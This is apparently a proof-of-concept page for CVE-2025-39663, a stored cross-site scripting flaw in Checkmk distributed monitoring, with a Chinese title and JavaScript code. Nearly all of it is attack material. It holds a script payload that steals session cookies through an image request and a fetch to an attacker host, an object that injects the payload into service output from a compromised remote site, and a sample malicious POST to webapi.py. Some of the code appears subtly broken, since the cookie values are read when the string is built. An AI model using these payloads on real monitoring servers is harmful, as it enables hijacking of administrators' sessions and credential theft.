CVE-2025-39663 Checkmk分布式监控跨站脚本(XSS)漏洞

// CVE-2025-39663 PoC - Checkmk Distributed Monitoring XSS // This PoC demonstrates how a compromised remote site can inject XSS payload // into service outputs that will be displayed on the central site // Step 1: Prepare malicious XSS payload const xssPayload = '<script>\n // Steal session cookies document.write(\'<img src=\\'' + window.location.origin + '/log?c=' + encodeURIComponent(document.cookie) + '\\' />\');\n // Alternative payload for credential theft\n fetch(\'https://attacker.com/exfil?data=\' + btoa(document.cookie));\n</script>'; // Step 2: Inject payload into service output on compromised remote site // This would typically be done through the Checkmk API or by modifying // the checkmk_agent configuration on the remote site const injectPayload = { site_id: 'compromised_remote_site', check_type: 'custom_check', service_description: 'Critical Service Status', output: 'OK - Service running normally' + xssPayload, performance_data: 'time=0.123' }; // Step 3: The payload will be synced to central site and stored // When admin views service details, XSS executes in their browser // Alternative: Direct API exploitation (if applicable) /* POST /check_mk/webapi.py HTTP/1.1 Host: central-site.example.com Content-Type: application/x-www-form-urlencoded action=push_status&site=compromised_remote& output=<script>alert('XSS')</script>& service_description=TestService */